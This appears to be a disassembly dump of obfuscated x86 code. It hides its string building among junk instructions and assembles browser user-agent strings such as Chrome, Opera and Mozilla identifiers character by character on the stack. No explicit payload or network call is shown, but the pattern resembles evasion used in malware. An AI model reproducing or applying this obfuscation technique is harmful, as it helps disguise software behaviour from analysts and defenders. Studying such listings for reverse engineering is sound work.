sub eax, esp
cbw
test esp, eax
mov edx, 0x54
mov word [ebp - 0xfa2], dx
mov eax, 0x4d
sbb cl, 0xcb
inc dx
mov word [ebp - 0xfa0], ax
adc ch, bl
mov ecx, 0x4c
sbb dx, 0x5870
mov word [ebp - 0xf9e], cx
shl dx, 0x3c
mov edx, 0x2c
mov word [ebp - 0xf9c], dx
add edx, eax
shl dx, cl
add al, 0x69
mov eax, 0x20
dec ch
mov word [ebp - 0xf9a], ax
mov ecx, 0x6c
xadd ah, ah
sal edx, cl
mov word [ebp - 0xf98], cx
cmc
mov edx, 0x69
and cx, si
bsr ax, ax
mov word [ebp - 0xf96], dx
bswap eax
mov eax, 0x6b
rol ch, 0x20
shr dl, cl
mov word [ebp - 0xf94], ax
btc ecx, 0xd0
btr dx, 0xf1
xadd cl, cl
mov ecx, 0x65
mov word [ebp - 0xf92], cx
lahf
rdtsc
add al, 0x6d
mov edx, 0x20
mov word [ebp - 0xf90], dx
rol edx, cl
mov eax, 0x47
sbb dx, ax
bswap edx
mov word [ebp - 0xf8e], ax
mov word [ebp - 0xf8c], cx
mov edx, 0x63
mov word [ebp - 0xf8a], dx
sar al, cl
rol ax, cl
cmp ebp, esp
mov eax, 0x6b
mov word [ebp - 0xf88], ax
xor cx, di
mov ecx, 0x6f
mov word [ebp - 0xf86], cx
bt ecx, esp
or eax, edx
clc
mov edx, 0x29
rol ah, 0x58
mov word [ebp - 0xf84], dx
mov eax, 0x20
cwd
btr ecx, edx
sub edx, 0x39040293
mov word [ebp - 0xf82], ax
xor cx, 0x2535
movzx eax, cx
mov ecx, 0x43
mov word [ebp - 0xf80], cx
mov edx, 0x68
mov word [ebp - 0xf7e], dx
test esi, esp
mov eax, 0x72
mov word [ebp - 0xf7c], ax
sbb dl, 0xfb
mov ecx, 0x6f
bts eax, esp
movzx edx, di
mov word [ebp - 0xf7a], cx
shr edx, cl
mov edx, 0x6d
shrd eax, edx, 0xca
cmp ax, 0x239b
mov word [ebp - 0xf78], dx
mov eax, 0x65
bsf dx, bx
mov word [ebp - 0xf76], ax
test ebx, 0x74f53400
mov ecx, 0x2f
shr eax, 0x61
rcl dh, 0xd5
mov word [ebp - 0xf74], cx
jmp 0x5b78ad
mov eax, 0x69
mov word [ebp - 0x1366], ax
cbw
shr ax, cl
bsr ecx, esi
mov ecx, 0x2f
mov ax, 0x5d73
cmp ecx, 0x2c1b04a3
xchg dx, ax
mov word [ebp - 0x1364], cx
inc edx
mov edx, 0x35
movzx ecx, sp
mov word [ebp - 0x1362], dx
mov eax, 0x33
cmc
sbb cx, cx
mov word [ebp - 0x1360], ax
mov cx, ax
mov ecx, 0x37
mov word [ebp - 0x135e], cx
sal ecx, 0xc1
mov edx, 0x2e
rcr cl, cl
adc ecx, edi
clc
mov word [ebp - 0x135c], dx
sub ecx, 0xbdb4e84
cmovbe cx, cx
mov word [ebp - 0x135a], ax
mov ecx, 0x36
mov word [ebp - 0x1358], cx
sub edx, edx
mov ax, 0x1ecc
cwde
movzx eax, dx
mov word [ebp - 0x1356], dx
xchg ah, al
push 0x134
push edx
cwde
cmovne ax, di
movsx ax, dl
lea eax, [ebp - 0x1354]
jmp 0x18afe6e
push eax
call fcn.00473d70
lea esp, [esp + 0xc]
mov ecx, 0x4f
mov word [ebp - 0x1c20], cx
add dx, cx
sbb cl, 0x76
and dl, 0x9d
mov edx, 0x70
shl al, 0x23
mov eax, eax
or cx, ax
mov word [ebp - 0x1c1e], dx
mov eax, 0x65
mov word [ebp - 0x1c1c], ax
mov ecx, 0x72
or eax, edi
test dl, 0x8a
shl ah, cl
mov word [ebp - 0x1c1a], cx
mov edx, 0x61
bsf ax, bx
mov word [ebp - 0x1c18], dx
mov eax, 0x2f
cmp cx, dx
btc edx, edx
mov word [ebp - 0x1c16], ax
cmc
mov ecx, 0x39
mov word [ebp - 0x1c14], cx
xor ax, bp
movsx ecx, dx
mov edx, 0x2e
mov word [ebp - 0x1c12], dx
rcl eax, cl
mov eax, 0x36
mov word [ebp - 0x1c10], ax
inc ch
rol al, 0x55
btc ax, 0x9d
mov ecx, 0x30
adc al, 0xc0
mov word [ebp - 0x1c0e], cx
cwd
sub ah, 0xa
shl ax, 0xfd
mov edx, 0x20
sal cx, cl
mov word [ebp - 0x1c0c], dx
mov eax, 0x28
mov word [ebp - 0x1c0a], ax
shld edx, eax, 0x7f
mov ecx, 0x57
mov word [ebp - 0x1c08], cx
bsr dx, sp
mov edx, 0x69
xadd ax, cx
not ch
cbw
mov word [ebp - 0x1c06], dx
xadd ah, dl
mov eax, 0x6e
mov word [ebp - 0x1c04], ax
mov ecx, 0x64
add ax, 0x248e
cbw
shl ah, 0xdc
mov word [ebp - 0x1c02], cx
bts edx, esi
shr dh, 0xa4
mov edx, 0x6f
ror ch, 0xd
clc
mov word [ebp - 0x1c00], dx
setns ah
inc cx
mov eax, 0x77
xchg cx, dx
add dx, 0x176f
rol dl, 0xbb
mov word [ebp - 0x1bfe], ax
mov ecx, 0x73
dec dh
xadd dl, ah
mov word [ebp - 0x1bfc], cx
movzx ax, dh
sar dl, cl
mov edx, 0x20
ror cl, cl
rcl cx, cl
mov word [ebp - 0x1bfa], dx
sar ch, 0xde
mov eax, 0x4e
add ch, 0x11
bswap cx
mov word [ebp - 0x1bf8], ax
add cx, ax
mov ecx, 0x54
sar ax, cl
shl al, 0
mov word [ebp - 0x1bf6], cx
xchg cx, cx
add ecx, 0x2b480def
mov word [ebp - 0x1bf4], dx
not dh
mov eax, 0x36
mov word [ebp - 0x1bf2], ax
not ah
lahf
sar ch, cl
mov ecx, 0x2e
stc
dec edx
mov word [ebp - 0x1bf0], cx
bt dx, di
or edx, ecx
mov edx, 0x30
sar ecx, 0xdf
movzx ax, bl
sbb ch, 0x75
mov word [ebp - 0x1bee], dx
rcl eax, 0x3a
stc
mov eax, 0x3b
mov word [ebp - 0x1bec], ax
mov ecx, 0x20
xor dh, 0xe2
add edx, esi
rcr dl, cl
mov word [ebp - 0x1bea], cx
cmovle edx, ebx
mov edx, 0x55
clc
cmc
mov word [ebp - 0x1be8], dx
adc edx, ecx
mov word [ebp - 0x1be6], ax
cwde
mov word [ebp - 0x1be4], cx
mov dx, 0x512d
sal eax, cl
neg dl
mov edx, 0x65
cmp ebp, 0x3c2e5f1b
sal al, 0x3c
rol eax, cl
mov word [ebp - 0x1be2], dx
test esp, 0x598363dd
mov eax, 0x6e
mov word [ebp - 0x1be0], ax
rol dh, cl
bsr ecx, ecx
not dh
mov ecx, 0x29
bts ax, ax
shld edx, eax, 0xf6
mov word [ebp - 0x1bde], cx
rdtsc
add al, 0xad
mov edx, 0x20
mov word [ebp - 0x1bdc], dx
neg eax
mov eax, 0x50
rcr dx, 0x6e
xchg cl, dh
mov word [ebp - 0x1bda], ax
movsx cx, ch
mov cl, 0x75
mov ecx, 0x72
test esi, ecx
mov word [ebp - 0x1bd8], cx
cwde
neg cl
mov edx, 0x65
bt ax, 0xdc
neg cl
mov word [ebp - 0x1bd6], dx
shrd ecx, esp, 0x3a
mov eax, 0x73
mov word [ebp - 0x1bd4], ax
lahf
mov ecx, 0x74
or ax, di
mov word [ebp - 0x1bd2], cx
mov edx, 0x6f
bt ax, 0x68
mov word [ebp - 0x1bd0], dx
bt edx, 0x8a
neg ecx
mov eax, 0x2f
cmp ebx, 0x374c7304
mov edx, eax
mov word [ebp - 0x1bce], ax
mov ecx, 0x32
jmp 0x18e54fa
push edx
jmp 0x18643fd
call fcn.016571e1
test eax, eax
je 0x57f5f2
mov ecx, 0x4f
mov word [ebp - 0x1e20], cx
dec ch
xadd dl, ch
mov edx, 0x70
mov word [ebp - 0x1e1e], dx
mov eax, 0x65
add cl, 0x2f
bswap dx
xadd dh, dh
mov word [ebp - 0x1e1c], ax
rol eax, cl
sub ecx, esp
btc cx, sp
mov ecx, 0x72
shl eax, 0x4a
mov word [ebp - 0x1e1a], cx
movzx ax, bh
mov edx, 0x61
mov ax, sp
btc eax, 0xee
rcr ax, 0xca
mov word [ebp - 0x1e18], dx
xchg dh, dh
btc ecx, 0x36
movsx ax, al
mov eax, 0x2f
stc
mov word [ebp - 0x1e16], ax
mov ecx, 0x39
ror dl, 0x37
mov word [ebp - 0x1e14], cx
test bx, 0x3bdf
and ch, ah
mov edx, 0x2e
mov word [ebp - 0x1e12], dx
sal al, 0xdc
sar ch, 0xe9
mov eax, 0x38
cmp ebx, esp
ror ecx, cl
sal dh, cl
mov word [ebp - 0x1e10], ax
movsx edx, dx
cmovb ecx, eax
mov ecx, 0x30
test edi, eax
jmp 0x17ea37a
call fcn.00473d70
lea esp, [esp + 0xc]
mov eax, 0x4d
mov word [ebp - 0x1420], ax
bsf cx, cx
mov ecx, 0x6f
mov word [ebp - 0x141e], cx
sbb dl, 0xf5
cmp bp, 0x6416
mov edx, 0x7a
cmc
sbb eax, eax
mov word [ebp - 0x141c], dx
and al, 0x43
mov eax, 0x69
stc
cdq
mov word [ebp - 0x141a], ax
or ch, 0x1d
mov ecx, 0x6c
lahf
rcr al, cl
mov word [ebp - 0x1418], cx
mov ax, cx
cwde
not dl
mov edx, ecx
bsf ecx, eax
mov eax, eax
mov word [ebp - 0x1416], dx
movzx ax, cl
mov eax, 0x61
cmp ch, 0x23
and cx, sp
adc dx, sp
mov word [ebp - 0x1414], ax
shl ax, 0xd4
shrd ecx, esi, 0x45
movzx edx, ax
mov ecx, 0x2f
btr dx, di
mov word [ebp - 0x1412], cx
mov edx, 0x35
or cx, 0x2037
mov word [ebp - 0x1410], dx
lahf
sar ax, cl
rdtsc
mov eax, 0x2e
and cx, 0x205b
bt ecx, 0x11
shr ecx, 0x39
mov word [ebp - 0x140e], ax
or cx, di
mov ecx, 0x30
mov word [ebp - 0x140c], cx
cdq
mov edx, 0x20
movzx ecx, di
add ax, di
bsr ecx, edi
mov word [ebp - 0x140a], dx
bsf eax, esi
or ecx, edi
cmp bx, 0x1853
mov eax, 0x28
shr edx, cl
xor dx, dx
mov word [ebp - 0x1408], ax
mov ecx, 0x57
dec ax
cwde
test sp, 0x285
mov word [ebp - 0x1406], cx
setbe ah
mov edx, 0x69
shr eax, cl
rcl ecx, cl
lahf
mov word [ebp - 0x1404], dx
setns al
mov al, 0xaf
cdq
mov eax, 0x6e
mov word [ebp - 0x1402], ax
and ax, di
sar edx, cl
or ax, 0x1f27
mov ecx, 0x64
mov word [ebp - 0x1400], cx
bt eax, 0x20
mov edx, 0x6f
bts ecx, edi
btc cx, ax
movsx ax, ah
mov word [ebp - 0x13fe], dx
mov eax, 0x77
add ecx, ebp
or ecx, esp
add ecx, 0x4bd3322b
mov word [ebp - 0x13fc], ax
mov ecx, 0x73
mov word [ebp - 0x13fa], cx
mov edx, 0x20
mov word [ebp - 0x13f8], dx
mov eax, 0x4e
bt ecx, ecx
mov word [ebp - 0x13f6], ax
sub ch, bl
btr ax, 0xa8
seta cl
mov ecx, 0x54
rcl eax, 0xb4
sub eax, 0x13501687
mov word [ebp - 0x13f4], cx
mov word [ebp - 0x13f2], dx
mov eax, 0x36
mov word [ebp - 0x13f0], ax
mov cx, cx
not dh
setno ch
mov ecx, 0x2e
mov word [ebp - 0x13ee], cx
shl dh, 0xd3
movzx ax, ch
mov edx, 0x31
rol ecx, cl
mov word [ebp - 0x13ec], dx
shrd dx, sp, 0x71
bts ax, bp
mov eax, 0x29
mov word [ebp - 0x13ea], ax
rcl dl, 0x88
btc ecx, ecx
movsx ax, cl
mov ecx, 0x20
rdtsc
add dx, di
mov word [ebp - 0x13e8], cx
cmp dl, 0xec
add edx, 0x6d400d50
bsr eax, esi
mov edx, 0x41
ror ch, cl
mov word [ebp - 0x13e6], dx
btr eax, 0x1f
add ch, 0xb4
mov ecx, esi
mov eax, 0x70
ror cl, 0xa7
stc
mov word [ebp - 0x13e4], ax
or edx, 0x37a60749
shrd cx, sp, 0xb0
cmovnp edx, esi
mov ecx, eax
ror dx, cl
add ah, cl
mov word [ebp - 0x13e2], cx
mov edx, 0x6c
inc eax
rol ch, 0xa3
mov word [ebp - 0x13e0], dx
mov eax, 0x65
add cx, 0x1177
cmp bl, 0xe9
mov word [ebp - 0x13de], ax
setge dh
mov ecx, 0x57
mov word [ebp - 0x13dc], cx
mov edx, eax
mov word [ebp - 0x13da], dx
setle dh
sar ax, 0x3b
mov eax, 0x62
xor dx, ax
bsr edx, edi
mov word [ebp - 0x13d8], ax
sar ecx, 0x14
rcl al, 0x9a
add cl, cl
mov ecx, 0x4b
rol ax, 0xc9
mov word [ebp - 0x13d6], cx
bts cx, dx
shr dh, 0x4c
mov edx, 0x69
btr ax, 0xc4
mov word [ebp - 0x13d4], dx
rol dx, 0x7a
mov eax, 0x74
cmovnp ecx, ecx
mov word [ebp - 0x13d2], ax
test esp, edx
mov ecx, 0x2f
bsr eax, eax
bswap ax
shr edx, 0x5d
mov word [ebp - 0x13d0], cx
mov edx, 0x35
xadd al, cl
test sp, si
mov word [ebp - 0x13ce], dx
cwd
stc
mov eax, 0x33
mov word [ebp - 0x13cc], ax
cdq
sub cx, cx
clc
mov ecx, 0x37
btr dx, dx
shl dl, cl
mov word [ebp - 0x13ca], cx
mov edx, 0x2e
adc cl, dl
shr cx, cl
adc ecx, 0x3dd49a7
mov word [ebp - 0x13c8], dx
add ecx, ecx
bts dx, bp
bt dx, 0xea
mov word [ebp - 0x13c6], ax
sub dh, dl
and cx, 0x4f91
mov ecx, 0x36
rcr eax, 0xce
and al, 0x40
shr ax, 0x36
mov word [ebp - 0x13c4], cx
mov edx, 0x20
jmp 0x5839da
mov word [ebp - 0x1802], ax
neg edx
mov ecx, 0x69
movzx ax, cl
mov word [ebp - 0x1800], cx
add eax, edx
shl edx, 0xb6
mov edx, 0x6e
shr cl, cl
cmp ebx, 0x4b92d0f
mov word [ebp - 0x17fe], dx
cmovl eax, ebp
btr cx, si
and ax, 0x3b0d
mov eax, 0x74
cmovbe dx, dx
mov word [ebp - 0x17fc], ax
bsr eax, esi
mov ecx, 0x6f
mov word [ebp - 0x17fa], cx
xor cl, 0xe9
sar eax, 0x32
mov edx, 0x73
mov word [ebp - 0x17f8], dx
xadd dx, dx
inc edx
clc
mov eax, 0x68
adc edx, ebx
bts cx, di
mov word [ebp - 0x17f6], ax
shl ax, cl
add ecx, esi
or edx, 0x470c5621
mov ecx, 0x3b
xor dh, 0x74
jmp 0x573060
push eax
call fcn.00473d70
add esp, 0xc
cbw
shld ecx, ebp, 0xa7
bswap ax
mov ecx, 0x4d
adc edx, ebp
mov word [ebp - 0x1220], cx
mov edx, 0x6f
mov word [ebp - 0x121e], dx
rcl dl, 0xef
dec edx
mov eax, 0x7a
mov word [ebp - 0x121c], ax
rdtsc
mov ecx, 0x69
rcr al, cl
mov word [ebp - 0x121a], cx
rcl ah, cl
bsr cx, bp
mov dx, 0x5c7c
mov edx, 0x6c
bt eax, esp
movzx cx, dl
sbb cx, 0x3f38
mov word [ebp - 0x1218], dx
ror ax, cl
rcl cx, 0x2d
mov eax, edx
jmp 0x1614d88
call fcn.00473d70
lea esp, [esp + 0xc]
clc
mov edx, 0x4d
cmovge ecx, ecx
rol ax, 0x48
rol ch, cl
mov word [ebp - 0x1a20], dx
cwd
mov eax, 0x6f
mov word [ebp - 0x1a1e], ax
rcl ch, cl
mov ecx, 0x7a
mov ax, bx
shld dx, bx, 0xab
or dh, dh
mov word [ebp - 0x1a1c], cx
test bx, 0x7c8a
mov edx, 0x69
cwde
mov word [ebp - 0x1a1a], dx
bts edx, esi
mov eax, 0x6c
sar edx, cl
mov word [ebp - 0x1a18], ax
bts dx, si
test di, 0x4aae
adc edx, eax
mov ecx, eax
mov word [ebp - 0x1a16], cx
mov edx, 0x61
not ecx
xor ch, 0xcf
movzx ecx, cx
mov word [ebp - 0x1a14], dx
rdtsc
mov eax, 0x2f
shr dx, 0x70
mov word [ebp - 0x1a12], ax
mov ecx, 0x35
rdtsc
cmovg ax, ax
mov word [ebp - 0x1a10], cx
test ch, 0x35
mov edx, ebp
mov edx, 0x2e
adc ax, ax
sar cl, 0x9c
mov word [ebp - 0x1a0e], dx
sub dx, bp
rdtsc
sal dl, cl
mov eax, 0x30
mov word [ebp - 0x1a0c], ax
jmp 0x1733950
mov word [ebp - 0x137a], dx
and eax, edi
cwde
shld edx, ecx, 0x9b
mov eax, 0x2e
dec dx
sar dl, 0xda
or dx, bx
mov word [ebp - 0x1378], ax
adc dx, 0x5c48
mov word [ebp - 0x1376], cx
test eax, edi
mov edx, ecx
mov word [ebp - 0x1374], dx
ror cx, 0xb7
mov eax, 0x20
mov word [ebp - 0x1372], ax
sar edx, 0xa4
mov ecx, 0x53
xor edx, edi
movzx eax, cx
mov word [ebp - 0x1370], cx
mov edx, 0x61
movzx cx, ch
bts eax, edi
lahf
mov word [ebp - 0x136e], dx
or ah, 0x14
mov eax, 0x66
jmp 0x15d1145
push eax
jmp 0x1860f51
mov word [ebp - 0x1368], dx
jmp 0x1806b39
call fcn.00474a30
mov eax, dword [0x51f620]
xor dword [ebp - 8], eax
test bp, ax
xor eax, ebp
jmp 0x1761e5c
mov word [ebp - 0x1bcc], cx
cmp ecx, eax
mov edx, 0x2e
xor al, 0x64
mov word [ebp - 0x1bca], dx
mov eax, 0x31
adc ch, ah
mov word [ebp - 0x1bc8], ax
sar cl, 0x18
shl ecx, cl
bswap cx
mov ecx, edx
mov word [ebp - 0x1bc6], cx
shr dh, 0x4b
mov edx, eax
mov word [ebp - 0x1bc4], dx
shr cl, cl
sub eax, eax
mov word [ebp - 0x1bc2], ax
movzx ecx, bp
push 0x1a0
movsx ecx, di
mov cx, di
push eax
lea ecx, [ebp - 0x1bc0]
jmp 0x171feea